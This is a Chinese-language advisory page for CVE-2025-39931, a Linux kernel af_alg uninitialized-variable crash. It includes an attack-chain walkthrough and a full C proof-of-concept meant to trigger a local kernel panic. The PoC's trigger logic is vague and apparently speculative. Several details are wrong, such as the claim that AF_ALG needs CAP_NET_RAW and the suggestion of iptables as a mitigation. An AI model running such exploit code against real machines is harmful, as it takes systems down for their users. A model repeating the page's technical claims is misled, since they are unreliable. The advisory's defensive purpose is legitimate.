IPBUF安全漏洞报告
English
CVE-2025-39931 CVSS 5.5 中危

CVE-2025-39931 Linux内核crypto/af_alg模块未初始化变量导致崩溃漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39931
漏洞类型
未初始化变量使用/本地拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (crypto/af_alg 子系统)

相关标签

Linux Kernelcryptoaf_alg未初始化变量本地拒绝服务内核崩溃权限要求低AF_ALG socketCVE-2025-39931内核安全

漏洞概述

CVE-2025-39931是Linux内核crypto/af_alg子系统中的一个中等严重性漏洞,CVSS评分为5.5。该漏洞位于af_alg_sendmsg函数中,由于ctx->merge变量在函数循环开始时未被及时初始化为零,导致在异常路径中止后,该变量可能保留上一次循环遗留的垃圾值。当下一次进入af_alg_sendmsg函数并尝试执行合并(merge)操作时,由于该垃圾值不符合合并条件,从而触发内核崩溃,造成本地拒绝服务(DoS)。

af_alg是Linux内核提供的一套用于用户空间访问加密算法(AF_ALG socket接口)的机制,广泛应用于各类加密通信场景。该漏洞虽然需要低权限本地触发,但能够导致系统完全崩溃(内核panic),对系统可用性造成严重影响。该问题已在多个Linux内核稳定版本中得到修复,包括5.10.x、5.15.x、6.1.x、6.6.x及6.12.x等长期支持分支。

此漏洞由Linux内核安全团队成员发现并修复,属于典型的内核代码逻辑缺陷类安全问题。虽然不涉及远程攻击或权限提升,但其对系统稳定性的影响不容忽视,特别是在多用户服务器环境中,低权限用户可能利用此漏洞触发系统崩溃,影响业务连续性。

技术细节

从技术角度看,该漏洞的根本原因在于af_alg_sendmsg函数中的变量初始化顺序问题。af_alg_sendmsg是AF_ALG socket接口的核心发送消息函数,负责处理用户空间通过socket发送的加密操作请求。

在原始代码中,ctx->merge字段用于跟踪是否需要将当前消息与之前的消息进行合并处理。该字段的初始化被放置在循环内部,但在某些错误处理路径中,函数可能在初始化之前就跳出了循环或返回了错误。当这种情况发生时,ctx->merge保留了之前调用时的旧值。

当用户空间程序再次调用af_alg_sendmsg时,函数会检查ctx->merge的值来决定是否执行合并逻辑。由于该值是垃圾值(可能是任意非零值),代码会尝试执行一个无法完成的合并操作,导致空指针解引用或非法内存访问,最终触发内核oops或panic。

利用方式上,攻击者只需拥有本地低权限账户,通过AF_ALG socket接口(通常通过OpenSSL的ENGINE API或直接使用socket系统调用)触发特定的错误条件即可。具体而言:
1. 创建一个AF_ALG类型的socket
2. 绑定到特定的加密算法(如hash算法)
3. 发送一个会导致af_alg_sendmsg在循环中出错的请求
4. 再次发送请求时,ctx->merge的垃圾值将导致内核崩溃

修复方案是将ctx->merge = 0的赋值操作移至循环开始之前,确保每次进入循环时该变量都被正确初始化,从而避免使用未初始化的值。

攻击链分析

STEP 1
步骤1:创建AF_ALG socket
攻击者通过socket(AF_ALG, SOCK_SEQPACKET, 0)系统调用创建一个AF_ALG类型的socket,用于访问内核加密算法接口。
STEP 2
步骤2:绑定加密算法
使用bind()将socket绑定到特定的加密算法(如sha256、aes等),初始化算法上下文ctx。
STEP 3
步骤3:触发错误路径
通过accept()获取操作文件描述符后,发送特定的数据或使用特定标志(如MSG_MORE),使af_alg_sendmsg函数在循环中提前中止,导致ctx->merge未被正确初始化为0。
STEP 4
步骤4:再次调用触发崩溃
关闭并重新获取操作文件描述符后,再次调用send()进入af_alg_sendmsg。函数读取ctx->merge的垃圾值,尝试执行无法完成的合并操作,导致内核空指针解引用或非法内存访问,触发kernel panic。
STEP 5
步骤5:系统拒绝服务
内核崩溃导致系统完全不可用,所有进程被终止,需要手动重启系统恢复服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-39931 PoC - Linux kernel af_alg uninitialized merge crash * This PoC demonstrates triggering a kernel crash via AF_ALG socket * by exploiting the uninitialized ctx->merge field in af_alg_sendmsg. * * Compile: gcc -o poc poc.c * Run: ./poc (requires CAP_NET_RAW or similar privilege for AF_ALG) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #include <linux/socket.h> int main(int argc, char *argv[]) { int tfmfd, opfd; struct sockaddr_alg sa; char buf[4096]; /* Step 1: Create AF_ALG socket */ tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket(AF_ALG)"); return 1; } /* Step 2: Bind to a hash algorithm (e.g., SHA256) */ memset(&sa, 0, sizeof(sa)); sa.salg_family = AF_ALG; strcpy((char *)sa.salg_type, "hash"); strcpy((char *)sa.salg_name, "sha256"); if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } /* Step 3: Accept to get operation fd */ opfd = accept(tfmfd, NULL, NULL); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } /* Step 4: Trigger error path in af_alg_sendmsg * Send data with flags that cause early abort, leaving ctx->merge * with garbage value from previous iteration. * MSG_MORE or specific message sizes can trigger this condition. */ memset(buf, 'A', sizeof(buf)); /* First send - may partially process and set merge state */ if (send(opfd, buf, 1, MSG_MORE) < 0) { perror("send 1"); } /* Trigger error condition (e.g., invalid operation) */ /* Close and reopen to trigger re-entry with stale merge value */ close(opfd); opfd = accept(tfmfd, NULL, NULL); if (opfd < 0) { perror("accept 2"); close(tfmfd); return 1; } /* Second send - ctx->merge contains garbage, triggers crash */ send(opfd, buf, sizeof(buf), 0); close(opfd); close(tfmfd); printf("PoC completed. Check dmesg for kernel crash.\n"); return 0; }

影响范围

Linux Kernel < 5.10.245
Linux Kernel 5.15.x < 5.15.196
Linux Kernel 6.1.x < 6.1.153
Linux Kernel 6.6.x < 6.6.107
Linux Kernel 6.12.x < 6.12.48
Linux Kernel 6.16.x < 6.16.7

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)限制普通用户对AF_ALG socket的访问权限,例如移除相关用户的CAP_NET_RAW能力;2)使用seccomp过滤器阻止非特权进程调用socket(AF_ALG)系统调用;3)通过iptables或nftables限制可疑的网络加密操作;4)密切监控系统日志,设置内核异常的告警机制,以便在发生崩溃时快速响应。建议尽快升级到包含修复的内核版本以彻底解决此问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表